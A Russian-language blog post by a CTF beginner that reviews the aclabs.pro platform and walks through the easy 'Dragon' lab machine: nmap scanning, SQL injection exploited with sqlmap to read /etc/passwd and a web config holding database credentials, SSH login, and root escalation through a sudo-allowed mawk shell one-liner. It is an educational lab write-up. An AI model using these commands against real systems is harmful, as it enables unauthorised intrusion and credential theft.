ИБэшник без CTFки, как котлета без пюрешки
ИБэшник без CTFки, как котлета без пюрешки

Поскольку я только начинаю свой путь в ИБ, учась, в том числе и на платформе TryHackMe, было интересно получить практический опыт. CTF (Capture The Flag) онлайн соревнования отлично для этого подходят.

В январе проходил FIRST SHIFT CTF на THM, но там был уровень Medium. Я до такого уровня еще не дорос, поэтому продолжил обучение и просматривал различные CTF с низким порогом входа.

Параллельно обучению, смотрел видео на youtube. В рунете конечно меньше каналов, кто реально делает подробные разборы машин с популярных платформ.

18 декабря я нашел видео "IDOR для новичка. Простая веб уязвимость. Простая машина neighbour на TryHackMe, уровень легкий!" Мне очень понравился формат, я подписался на канал Mister Exploit, стал смотреть и другие видео. В одном из них было упоминание платформы aclabs.pro.

Автор канала вообще скромняга, он не рекламирует этот проект в каждом видео. Лишь в конце и то не каждого видео, он напоминает, что есть такая платформа. Если бы у меня был такой проект, я бы делал как каждый блоггер у которого <=100 подписчиков, просил бы подписаться через каждые 5 минут...

Пару слов о платформе aclabs.pro и ключевые преимущества

Чуть-чуть копипасты из первоисточника: "Advanced Cyber Labs – платформа для проведения соревнований Capture The Flag. Здесь вы можете не только взламывать машины, но и посоревноваться со своими коллегами-хакерами в знаниях и настойчивости!".

Принцип работы такой же как и на аналогичных площадках, подключение по VPN - запуск машины - решение. На сайте есть раздел с часто задаваемыми вопросами, там все подробно описано.

Ключевые преимущества:

  • Динамические флаги: генерируются при каждом запуске машины и они уникальные для каждого юзера и для каждого запуска таска. Простыми словами, при каждом старте у вас будут генерироваться разные флаги, которые не совпадут с флагами других пользователей. Поэтому даже если вы нашли годный райтап, копировать флаги не имеет смысла, в отличие от того же THM или HTB.

  • Уникальная система подсчета баллов: сложная формула, но принццип такой, чем раньше решишь таск, тем больше получишь за него баллов. Нельзя просто так так отсидеться и в последний день решить все за раз и забрать первое место.

  • Фирменные сертификаты: предоставляются сертификаты двух видов, призеров и участников. Каждый сертификат имеет уникальный id, по которому на сайте платформы можно узнать в каком сезоне и какое место занял его обладатель. Для кого-то может быть мелочь, но приятно.

  • Бесплатность и доступность: любой желающий может принять участие, есть таски на разные темы от легких до реально сложных.

Таск "Dragon" и как я его решал

Тачки можно решать в любом порядке, но я решил начать с первого, который был по порядку. Он назывался "Dragon". Тема Web, Linux, PrivEsc. Т.е у нас будет некий сайт, сервер с ОС Linux, повышение привелегий.

Запускаем машину и погнали.

Разведка

Как полагается все начинается с разведки, запускаем nmap или rustscan. В этом таске я использовал nmap с флагами -sC для запуска стандартных скриптов, позволяющий обнаруживать базовые мисконфиги, -sV для определения версии работающий сервисов и -vv для большей информации.

sudo nmap -sC -sV -vv 10.10.10.57
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 10.0p2 Debian 7 (protocol 2.0)
80/tcp open  http    syn-ack ttl 63 nginx
|_http-title: \xD0\x94\xD1\x80\xD0\xB0\xD0\xBA\xD0\xBE\xD0\xBD - \xD0\x9A\xD0\xB8\xD1\x82\xD0\xB0\xD0\xB9\xD1\x81\xD0\xBA\xD0\xB8\xD0\xB9 \xD0\x9D\xD0\xBE\xD0\xB2\xD1\x8B\xD0\xB9 2026 \xD0\x93\xD0\xBE\xD0\xB4
| http-methods: 
|_  Supported Methods: GET HEAD POST
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Из отчета видно, что у нас открыто 2 порта, 22 ssh и 80 http, с веб сервером nginx.

Щупаем сайт, ищем уязвимости

Перейдя на сайт http://10.10.10.57/ видим, что это одностраничник, с возможностью оставить заявку, через специальную кнопку.

Всегда нужно просматривать исходный код, в нем зачастую есть скрытые комментарии или подсказки. Но в этом случае ничего полезного не было.

Поскольку у нас есть поля для ввода символов, то мы можем пробовать различные инъекции.

Я не знаю, что это за движок сайта или фреймворк, поэтому я решил начать с уязвимости под названием Server-Side Template Injection. Если ввести конструкцию типа {{7*7}} и в ответе я бы получил 49, то инъекция бы сработала и можно было бы двигаться в этом направлении. Но я получил несколько другой вывод через курл.

curl -X POST http://10.10.10.57/index.php -d "name=%7B%7B7*7%7D%7D&phone=%7B%7B7*7%7D%7D&email=123%40test&message=%7B%7B7*7%7D%7D&event-date=2026-02-25&submit_application=1"
<!-- SQLMAP DEBUG: Success -->
<!DOCTYPE html>
<html lang="ru">
<head>
... Дальше неинтересно

Пытаемся эксплутировать уязвимость

В этом выводе есть жирнейшая подсказака SQLMAP DEBUG: Success. Я недавно проходил sql иньекции на THM и помню, что SQLMap — open-source инструмент для автоматического обнаружения и эксплуатации SQL-инъекций.

Поэтому заряжаем утилиту и внимательно читаем вывод.

sqlmap -u "http://10.10.10.57/index.php" --data "name=%7B%7B7*7%7D%7D&phone=%7B%7B7*7%7D%7D&email=123%40test&message=%7B%7B7*7%7D%7D&event-date=2026-02-25&submit_application=1" --dbs

Параметр --data это raw request из бразуера, --dbs узнаем какие базы данных есть.

Получем ответ:

(custom) POST parameter '#2*' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
...
[07:13:35] [INFO] retrieved: 'information_schema'
[07:13:35] [INFO] retrieved: 'dragon'
available databases [2]:
[*] dragon
[*] information_schema

Есть. База Dragon, а также поле №2 уязвимо, а это поле под названием phone.

Прочитаем таблицы параметром --tables, предварительно указавав базу данных -D dragon

Database: dragon
[4 tables]
+--------------+
| applications |
| search_data  |
| search_logs  |
| users        |
+--------------+

Осталось сдампить креды -T users --dump и брать флаг.

[07:30:04] [WARNING] table 'users' in database 'dragon' appears to be empty
Database: dragon
Table: users
[0 entries]
+----+-------+--------+----------+------------+
| id | email | name   | password | created_at |
+----+-------+--------+----------+------------+
+----+-------+--------+----------+------------+

Здесь я конечно ожидал увидеть креды или очередную подсказку, но совсем не это...

Ла��но, вектор выбран верный, осталось только правильно его проэксплуатировать, подключить мозг и гугл.

В процессе поиска инфы, я узнал о таком параметре как --privileges.

sqlmap -u "http://10.10.10.57/index.php" --data "name=%7B%7B7*7%7D%7D&phone=%7B%7B7*7%7D%7D&email=123%40test&message=%7B%7B7*7%7D%7D&event-date=2026-02-25&submit_application=1" --privileges
...
[07:54:35] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP
back-end DBMS: MySQL >= 5.1 (MariaDB fork)
[07:54:35] [INFO] fetching database users privileges
[07:54:35] [WARNING] reflective value(s) found and filtering out
[07:54:35] [INFO] retrieved: ''khomyachok'@'localhost''
[07:54:35] [INFO] retrieved: 'FILE'
database management system users privileges:
[*] 'khomyachok'@'localhost' [1]:
    privilege: FILE

Это очень интересный вывод. Здесь мы узнаем имя пользователя базы данных и у него есть привелегия FILE. А это значит, что мы можем читать файлы системы. Проверим.

sqlmap -u "http://10.10.10.57/index.php" --data "name=%7B%7B7*7%7D%7D&phone=%7B%7B7*7%7D%7D&email=123%40test&message=%7B%7B7*7%7D%7D&event-date=2026-02-25&submit_application=1" --file-read="/etc/passwd"
...
[08:00:08] [INFO] fingerprinting the back-end DBMS operating system
[08:00:09] [WARNING] reflective value(s) found and filtering out
[08:00:09] [INFO] the back-end DBMS operating system is Linux
[08:00:09] [INFO] fetching file: '/etc/passwd'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
dhcpcd:x:100:65534:DHCP Client Daemon:/usr/lib/dhcpcd:/bin/false
systemd-timesync:x:991:991:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:990:990:System Message Bus:/nonexistent:/usr/sbin/nologin
sshd:x:989:65534:sshd user:/run/sshd:/usr/sbin/nologin
khomyachok:x:1000:1000: khomyachok,,,:/home/khomyachok:/bin/bash
mysql:x:101:104:MariaDB Server:/nonexistent:/bin/fal

Есть контакт. Файлы читаются.

Далее я пытался прочитать флаг напрямую, но не получалось. Зато получилось прочитать файл веб-сервера по адресу /var/www/html/index.php

[08:08:49] [INFO] fetching file: '/var/www/html/index.php'
[08:08:49] [WARNING] reflective value(s) found and filtering out
<?php

session_start();

error_reporting(E_ALL);
ini_set('display_errors', 1);


$db_host = 'localhost';
$db_user = 'khomyachok';
$db_pass = 'dXNlcnBhc3MhODkw'; 
$db_name = 'dragon';

И вот здесь джекпот. Те самые креды и я сразу пробую подключится по ssh.

Да креды валидные, мы можем прочитать первый юзерский флаг.

Повышаем привелегии и берем флаг рута

Поскольку мы в системе от юзера khomyachok, нельзя прочитать рутовский флаг. Нам нужно повышать привелегии до рута.

Это изи машина, поэтому здесь решение также очень простое.

Первое, что нужно проверять на Debian-подобных машинах это команду sudo -l. Она выводит список команд, которые текущий пользователь может выполнять через sudo.

khomyachok@dragon:~$ sudo -l
Matching Defaults entries for khomyachok on dragon:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User khomyachok may run the following commands on dragon:
    (root) NOPASSWD: /usr/bin/mawk

Мы можем выполнить команду mawk от рута без пароля. Далее нужно знать сайт gtfobins. Это онлайн-справочник по стандартным Unix/Linux утилитам, которые можно использовать для:

  • получения shell

  • повышения привилегий (PrivEsc)

  • обхода ограничений (restricted shell)

  • чтения/записи файлов

  • выполнения команд через sudo

Проще говоря:

Это чит-лист по тому, как «злоупотребить» обычными программами.

Далее все, что нужно найти программу, скопировать и выполнить команду от рута.

sudo mawk 'BEGIN {system("/bin/sh")}'
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root
flag_ad2bd35091693169885de17984bce80a

Флаг рута в кармане.

Общие впечатления от CTF и платформы Aclabs

Выше я показал пример одной из тачек легкого уровня. Но для тех, кому эта машина показалась легкой прогулкой, советую посмотреть разбор машины GrassHopper.

Туннелирование, пивотинг, проброс портов и другие инструменты, о которых не только я, а даже некоторые опытные участники CTF не слышали.

Также в этом турнире были таски и на темы: форензика, криптография, OSINT, Windows AD и др. Охвачены много направлений ИБ и все задания разнообразны, чего стоит Ындекс.

Соревнование проходило с 13 по 22 февраля включительно. Всего в соревновании приняло участие - 94 пользователя, из которых 52 - взяли флаг. Кстати, это был уже 5 сезон таких соревнований от платформы. Я принимал участие первый раз и занял 8 место. Для меня это результат просто нереальный, потому что изначально программа минимум была решить хотя бы 1 таск.

За эти 8 дней было очень много практики и новой информации. Наверное больше чем за последний месяц учебы на THM.

Вообщем, соревнование получилось позитивное с уникальными тачками и атмосферой, даже немного жаль, что оно закончилось. Уверен, что это не последний сезон и впереди, будут новые CTF...